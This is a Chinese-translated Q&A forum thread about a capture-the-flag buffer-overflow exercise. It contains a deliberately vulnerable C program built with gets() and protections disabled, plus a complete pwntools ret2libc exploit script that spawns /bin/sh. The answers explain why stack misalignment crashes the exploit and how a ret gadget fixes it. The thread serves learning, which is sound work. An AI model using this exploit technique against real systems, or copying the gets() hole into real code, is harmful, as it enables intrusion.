【问题标题】:Segfault in ret2libc attack, but not hardcoded system callret2libc 攻击中的段错误,但不是硬编码的系统调用
【发布时间】:2020-06-28 23:04:09
【问题描述】:

我有以下 protostar 挑战

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[BUFFSIZE];
  char flagBuffer[64];
  FILE *fp;
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xff000000) == 0xff000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

我正在将其编译为 64 位

gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5

我正在使用 pwntools 来制作我的漏洞利用。这是我的exploit.py文件

from pwn import *

exe = './stack5'

context.clear(arch='amd64')
context.kernel = 'amd64'

system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a

binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}

rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()

这会导致段错误。将payload保存到txt文件并使用gdb运行后,我发现segfault发生在do_system

input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]

Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov    rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>:  movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a332e6 <do_system+1078>: movq   xmm0,QWORD PTR [rsp+0x8]
   0x7ffff7a332ec <do_system+1084>: mov    QWORD PTR [rsp+0x8],rax
   0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
   0x7ffff7a332fb <do_system+1099>: call   0x7ffff7a23110 <__GI___sigaction>
   0x7ffff7a33300 <do_system+1104>: lea    rsi,[rip+0x39e2f9]        # 0x7ffff7dd1600 <quit>
   0x7ffff7a33307 <do_system+1111>: xor    edx,edx
   0x7ffff7a33309 <do_system+1113>: mov    edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>:    mov    rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>:  push   rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.

令人困惑的是,当我在 c 代码中添加对 system("/bin/sh"); 的调用时,调用有效并且我弹出了一个 shell,但是当我通过 ret2libc 攻击调用系统时,它出现了段错误。

【问题讨论】:

    标签: c segmentation-fault ctf


    【解决方案1】:

    在搜索指令movaps segfault 后,我遇到了解释问题的this site

    MOVAPS 问题

    如果您使用的是 Ubuntu 18.04,并且在 64 位挑战中对 buffered_vfprintf() 或 do_system() 中的 movaps 指令进行分段错误,则在返回 GLIBC 函数(例如 printf() 和 system( )。 Ubuntu 18.04 打包的 GLIBC 版本在某些功能中使用 movaps 指令将数据移动到堆栈上。 64 位调用约定要求堆栈在调用指令之前是 16 字节对齐的,但这在 ROP 链执行期间很容易违反,导致从该函数进行的所有进一步调用都使用未对齐的堆栈。 movaps 在对未对齐的数据进行操作时会触发一般保护错误,因此请尝试在返回函数之前使用额外的 ret 填充 ROP 链,或者进一步返回函数以跳过推送指令。

    只需在调用system 对齐字节之前添加对ret 小工具的调用,就可以弹出一个shell。

    【讨论】:

    • 您能解释一下为什么添加一个简单的ret 可以进行堆栈对齐的原因吗?
    • @kayochin:因为 16 = 2*8,所以 RSP 要么对齐,要么从 16 字节对齐弹出一个。如果您首先遇到此问题,那么 RSP % 16 == 0 在进入您想要的功能时,在您的小工具链的末尾。 (与 ABI 要求的 RSP%16 == 8 不同,从运行 call 与 RSP 对齐)。扩展您的有效载荷以再跳过一个ret 会将最终的 RSP 调整 8,从而满足 ABI 要求。 (除非你的某个小工具做了一些疯狂的事情,比如 add rsp, 2popw %ax 完全偏离 RSP。)
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2023-03-16
    • 2016-07-20
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多